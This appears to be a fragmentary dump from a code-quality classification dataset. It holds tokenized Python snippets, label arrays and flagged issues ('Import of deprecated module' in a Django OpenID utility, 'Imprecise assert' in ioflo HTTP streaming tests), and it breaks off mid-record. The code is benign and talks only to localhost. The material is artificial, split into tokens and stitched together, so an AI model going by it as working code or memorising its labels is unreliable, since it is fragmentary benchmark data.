"\\u", "bc", "01", "\\u", "bpr", "op", "\\u", "filters_", "(_", "imgs", "\\u", "bc", "01", "\\u", "ca_", ",_", "conv", "out", "\\u", "bc", "01", "\\u", "ca_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "filter", "\\u", "shape_", ",_", "padding_", ",_", "strides_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dfi", "lter", "s", "\\u", "ca_", "=_", "np_", "._", "array_", "(_", "dfi", "lter", "s", "\\u", "ca", "\\u", "fun_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "bpr", "op", "\\u", "filter", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "correct", ":", " ", "'_", "+_", "str_", "(_", "allclose_", "(_", "dfi", "lter", "s", "\\u", "ca_", ",_", "dfi", "lter", "s", "\\u", "cc_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "cc_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "dfi", "lter", "s", "\\u", "cc", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "ca_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "dfi", "lter", "s", "\\u", "ca", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", "avg", ".", " ", "duration", ":", " ", "cud", "a", "\\u", "conv", "net", ":", " ", "%", ".4", "f", " ", " ", "ca", ":", " ", "%", ".4", "f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "duration", "\\u", "cc_", ",_", "duration", "\\u", "ca_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "speed", "up", ":", " ", "%", ".2", "f", "'_", "%_", "(_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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Import of deprecated module
nicksergeant/snipt-old/django_authopenid/util.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom openid.store.interface import OpenIDStore\nfrom openid.association import Association as OIDAssociation\nfrom openid.extensions import sreg\nimport openid.store\n\nfrom django.db.models.query import Q\nfrom django.conf import settings\nfrom django.http import str_to_unicode\n\n\n# needed for some linux distributions like debian\ntry:\n from openid.yadis import xri\nexcept:\n from yadis import xri\n\nimport time, base64, md5, operator\nimport urllib\n\nfrom models import Association, Nonce\n\n__all__ = ['OpenID', 'DjangoOpenIDStore', 'from_openid_response', 'clean_next']\n\nDEFAULT_NEXT = getattr(settings, 'OPENID_REDIRECT_NEXT', '/')\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "md5,", "start_line": 17, "start_column": 21, "end_line": 17, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Import_", "of_", "deprecated_", "module_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "openid", "_", "._", "store_", "._", "interface_", "import_", "Open", "IDS", "tore_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openid", "_", "._", "association_", "import_", "Association_", "as_", "OID", "Association_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openid", "_", "._", "extensions_", "import_", "sre", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "openid", "_", "._", "store_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "._", "query_", "import_", "Q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "str", "\\u", "to", "\\u", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", "ed", " ", "for", " ", "some", " ", "linux", " ", "distribu", "tion", "s", " ", "like", " ", "debi", "an_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "openid", "_", "._", "ya", "dis_", "import_", "xr", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ya", "dis_", "import_", "xr", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "time_", ",_", "base64_", ",_", "md5_", ",_", "operator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "models_", "import_", "Association_", ",_", "Non", "ce_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "Open", "ID", "'_", ",_", "'", "Dj", "ang", "o", "Open", "IDS", "tore", "'_", ",_", "'", "from", "\\u", "openid", "\\u", "response", "'_", ",_", "'", "clean", "\\u", "next", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DEF", "AUL", "T", "\\u", "NEXT", "_", "=_", "getattr_", "(_", "settings_", ",_", "'", "OPEN", "ID", "\\u", "REDIRECT", "\\u", "NEXT", "'_", ",_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
ioflo/ioflo/ioflo/aio/http/test/test_clienting.py
[ { "content": " def testNonBlockingRequestStream(self):\n \"\"\"\n Test NonBlocking Http client with SSE streaming server\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStream.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/stream'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /stream HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'retry: 1000\\n\\n',\n b'data: START\\n\\n',\n b'data: 1\\n\\n',\n b'data: 2\\n\\n',\n b'data: 3\\n\\n',\n b'data: 4\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertEqual(response.eventSource.leid, None)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '1'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '2'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStream", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 192 }, { "content": " def testNonBlockingRequestStreamChunked(self):\n \"\"\"\n Test NonBlocking Http client with SSE streaming server with transfer encoding (chunked)\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/stream'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /stream HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 20:11:35 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'9\\r\\ndata: 1\\n\\n\\r\\n',\n b'9\\r\\ndata: 2\\n\\n\\r\\n',\n b'9\\r\\ndata: 3\\n\\n\\r\\n',\n b'9\\r\\ndata: 4\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertEqual(response.eventSource.leid, None)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '1'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '2'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 345 }, { "content": " def testNonBlockingRequestStreamFancy(self):\n \"\"\"\n Test NonBlocking Http client to SSE server\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancy.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&multiply=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&multiply=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&multiply=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'retry: 1000\\n\\n',\n b'id: 0\\ndata: START\\n\\n',\n b'id: 1\\ndata: 1\\ndata: 2\\n\\n',\n b'id: 2\\ndata: 3\\ndata: 4\\n\\n',\n b'id: 3\\ndata: 5\\ndata: 6\\n\\n',\n b'id: 4\\ndata: 7\\ndata: 8\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': '1\\n2'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': '3\\n4'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancy", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 498 }, { "content": " def testNonBlockingRequestStreamFancyChunked(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&multiply=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&multiply=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&multiply=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 22:11:53 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'6\\r\\nid: 0\\n\\r\\n',\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'6\\r\\nid: 1\\n\\r\\n',\n b'8\\r\\ndata: 1\\n\\r\\n',\n b'8\\r\\ndata: 2\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 2\\n\\r\\n',\n b'8\\r\\ndata: 3\\n\\r\\n',\n b'8\\r\\ndata: 4\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 3\\n\\r\\n',\n b'8\\r\\ndata: 5\\n\\r\\n',\n b'8\\r\\ndata: 6\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 4\\n\\r\\n8\\r\\ndata: 7\\n\\r\\n8\\r\\ndata: 8\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 